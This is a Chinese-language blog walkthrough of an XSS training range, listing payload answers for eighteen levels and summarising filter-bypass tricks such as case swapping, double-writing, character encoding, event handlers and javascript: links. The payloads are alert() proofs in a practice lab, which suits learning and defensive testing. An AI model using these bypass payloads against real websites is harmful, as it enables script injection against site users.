靶场地址:http://xss.fbisb.com/

参考的文章:https://www.cnblogs.com/cute-puli/p/10834954.html  感谢大佬的分享

做这个题的思路就是  上来直接找输入点或者交互的地方,直接输 <script>alert("xss")</script>  别管他返回什么,直接右键查看源代码 看看 刚才输入的,哪些被过滤了,然后再重新构造 ,重新输入

第一关:pass    答案  <script>alert("xss")<script/>

第二关:pass    答案   <script>alert("xss")<script/>

第三关:以前打通关了一次这个靶场,没想到刚到第三关就卡住,哎,水平还是不行,多努力吧。想到了用 javascript:alert(1)  代替 alert("xss") 但是看到尖括号 < > 被过滤了,第一想到的是用 base64 和 HTML实体编码下绕过,,,行不通,,,最后想起有几个  on*** 开头的函数,可以进行间接弹窗 ,遂查看了解析 ,,,做了出来onmouseover这个函数具体功能我也没看,翻译过来大概就行 当光标移动到图片上的时候就会执行函数      答案    '  onmouseover= ' javascript:alert(1)

第四关: 和第三关差不多, 答案 : "  onmouseover= " javascript:alert(1)    或者   " oninput='alert(1)'

第五关:  又是一种新奇的,构造 超链接      答案       " /> <a href = "javascript:alert(1)"> sss

第六关:只能说脑子不够灵活,其实还是不够细心,前几关想到了用大小写绕过,不过没用,到这关就没想起来再用大小写绕过试试   答案  " /> <a hrEf = "javascript:alert(1)"> sss

第七关:双写绕过,答案  :" /> <a hrhrefef = "javascrscriptipt:alert(1)"> sss 

第八关:这里又卡了一下,应该是编码绕过,没有想到,只想到了用 双写和大小写绕过..... 只需要编码javascript中的其中一个字母就可以,这里使用的是Unicode编码将 t 转换为  t

答案 :  "  javascript:alert(1) "

第九关:这关确实有点神奇,查看代码之后发现要求必须是 url 格式,但是不知道为啥,必须得把网站放在中间,若是这样就不行
 javascript:%0dalert(1)%0dhttp://www.baidu.com%0d, 答案  javascript:%0dhttp://www.baidu.com%0dalert(1)%0d    %0d 指的是 url编码中的空格

第十关:这关难度就稍微有点上来,这才是xss该有的样子。这关需要两点,查看源代码之后,首先需要覆盖 hidden 属性,让我们输入的信息能够显示出来,并且构造 函数触发弹框

答案  :11111&t_sort= xxxxx" type="text"   onclick="alert(1)"

第十一关:先用   sss&t_sort=sss&t_history=rrr&t_link=ppppp  看看输入的值是哪个 input 接受的,确定之后,怎么构造都不成功,查看教程之后发现。。。这关是通过更改 第十关的refer,再refer中构造代码进行触发弹框   答案:23&t_sort="type="text" onclick="alert(1)              抄的别人的

第十二关:同理第十一关,第十二关是更改 user—agent

第十三关:同理,前两关,修改cookie进行注入

第十四关:本关因iframe调用的文件地址失效,无法进行测试。要考的应该是通过修改iframe调用的文件来实现xss注入

第十五关:查看代码才能知道是文件包含漏洞,答案 :level15.php?src='level1.php?name=<script>alert(1)</script>'

第十六关:这里就略有些难度了,连交互点都没有,难点在于需要自己构造输入点     答案:/level16.php?keyword=<a%0Atype="text"%0Aonclick="alert(1)">

第十七关:补充:SWF是一种基于矢量的Flash动画文件格式,一般用FLASH软件创作并生成SWF文件格式,也可以通过相应软件将PDF等类型转换为SWF格式  <火狐浏览器会禁用flash,IE和chrome均可>

答案 :/level17.php?arg01=q&arg02=%20onmouseover=alert(11111)         onmouseover 前面必须有个空格!!!

第十八关:和第十七关一样,注意,要用IE或者火狐浏览器,答案    level18.php?arg01=a&arg02=%20%20%20onmouseover=alert(1)

剩下的关卡不会做。。。

总结:

XSS测试步骤:

1.检测输入变量,确认每个web页面中用户可自定义的变量,如HTTP参数、POST数据、隐藏表单字段值、预定义的radio值或HTTP头中的内容(refer,cookie等等)

2.分别确认每个输入变量是否存在xss漏洞。变量输入处输入poc,查看返回的web页面的html中poc代码是否被过滤,浏览器是否响应poc,若存在过滤,进行测试查看能否进行绕过。

 XSS绕过总结:

xss绕过基本上就是,使用其他函数绕过,大小写绕过,双写绕过,超链接跳转绕过,编码绕过

1.如果过滤了 <>  首先想到用  javascript:alert(1) ,  onmouseover=alert(1) , onclick=alert(1)  这些进行替代(还有不少以 on 开头的函数可以替代,具体可以百度)

2.如果过滤了Script ,可以尝试进行大小写替换(ScRiPt),进行双写绕过(scrscriptipt),进行编码绕过(只对其中的一个字母进行编码即可,HTML编码或者Unicode编码都可以,这里对  t  字母进行 unicode 编码 ,script 编码之后为 script   )

3.可以尝试进行 <a  href = "">sss  构造 名称为 sss 的超链接 进行跳转弹框绕过

4.如果过滤了 “ 双引号 或者 ‘ 单引号 ,可以用 javascript:alert(1) 或者 <script>alert(1)</script>  进行绕过

补充:

1.javascript支持unicode、escapes、十六进制、八进制等编码形式。

2.利用事件处理函数,触发事件,执行xss代码。例如<img src='#' onerror=alert(/xss/)>,当浏览器响应页面时,找不到图片的地址,触发onerror事件。

3.3.利用javascript在引号中只用分号分隔单词或强制语句结束,用换行符忽略分号强制结束一个完整语句,而忽略回车、空格、tab等键,绕过对javascript的关键字的过滤。

4.<script>eval("alert('1')")</script>    用eval() 函数也可以进行弹窗

xss靶场练习(7.22)的更多相关文章

  1. xss靶场详解

    一个XSS靶场练习记录 https://blog.csdn.net/qq_41500251/article/details/101116697 001.level 1 反射型 1.观察源码 <s ...

  2. 存储型XSS靶场作业

    首先进入靶场:http://59.63.200.79:8082/index.php xss平台使用:xss8c 发现CMS版本号,搜索是否此版本号存在可利用漏洞: 找到存储型xss漏洞,在xss平台生 ...

  3. xss靶场大通关(持续更新ing)

      xss秘籍第一式(常弹) (1)进入自己搭建的靶场,发现有get请求,参数为name,可进行输入,并会将输入的内容显示于网页页面 (2)使用xss的payload进行通关: http://127. ...

  4. XSS靶场练习

    0x00:前言 一个XSS练习平台,闯关形式,一共20关 0x01:开始 第一行都是代码插入点,下面几行是payloads(插入点和payloads中间空一行) LV1 <script>a ...

  5. (未完)XSS漏洞实战靶场笔记

    记录下自己写的XSS靶场的write up,也是学习了常见xss漏洞类型的实战场景

  6. XSS挑战第一期Writeup

    0x00 起因 这期 XSS 挑战的起因是在阅读“Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters”过 ...

  7. HMM XSS检测

    HMM XSS检测 转自:http://www.freebuf.com/articles/web/133909.html 前言 上篇我们介绍了HMM的基本原理以及常见的基于参数的异常检测实现,这次我们 ...

  8. XSS(跨站脚本攻击) - 常用代码大全

    XSS(跨站脚本攻击) - 常用代码大全-版本一 1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt> < ...

  9. XSS challenges 1-10

    学长发的xss靶场,刚好js学完了,上手整活. 这个提示说非常简单,直接插入就完事了 <script>alert(document.domain)</script> 第二关. ...

随机推荐

  1. Guitar Pro吉他指弹入门——双手泛音

    曾经有一段时间在琴行里经常遇到有人来试琴,很多人试弹得曲子就是郑成河的<Flaming>,直译过来就是热情的意思.这首曲子里面有很多泛音存在,吉他泛音类似于钟鸣或者摇铃的声音,是一种令人耳 ...

  2. Spring Boot系列 八、集成Kafka

    一.引入依赖 <dependency> <groupId>org.springframework.kafka</groupId> <artifactId> ...

  3. 网络编程原理与UDP实现

    如何发送数据包? Q:当应用程序产生数据的时候,需要去构造数据包并发送到网络上去,但是由谁负责处理呢? A:现代操作系统负责数据包得构造与发送,应用程序只需提供数据. 当应用程序产生数据时,应用程序将 ...

  4. 对称加密之---AES加密

    工作中常会需要让数据传输前进行加密处理.这次用到的是AES加密.AES加密中,需要注意到坑还是挺多的.对AES也进行了一番了解,发现里面的东西真的是注意的太多了.今天只是整理了一种简单的加密格式,工作 ...

  5. PyQt(Python+Qt)学习随笔:QTabWidget选项卡部件概述和属性介绍

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 一.概述 TabWidget选项卡组件是一个带一到多个选项卡栏和对应页面区域的组件,对应类QTabW ...

  6. PyQt(Python+Qt)学习随笔:QAbstractItemView的selectionMode属性

    老猿Python博文目录 老猿Python博客地址 一.概述 selectionMode属性用于控制view中操作选择数据项的模式,用于控制用户是否可以选择一个或多个数据项,以及在多个数据项选择中,选 ...

  7. PHP 的$server变量

    PHP中$_SERVER["QUERY_STRING"]函数   详解PHP中$_SERVER函数的QUERY_STRING和 $_SERVER存储当前服务器信息,其中有几个值 如 ...

  8. 在CTF比赛中,命令中空格被过滤的解决方法

    1.linux {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt kg=$' ...

  9. SASRec 实践

    SASRec--2018,ICDM,论文<Self-Attentive Sequential Recommendation> 源代码链接:https://github.com/kang20 ...

  10. Python术语对照表

    >>> 交互式终端中默认的 Python 提示符.往往会显示于能以交互方式在解释器里执行的样例代码之前. ... 可以是指:交互式终端中输入特殊代码行时默认的 Python 提示符, ...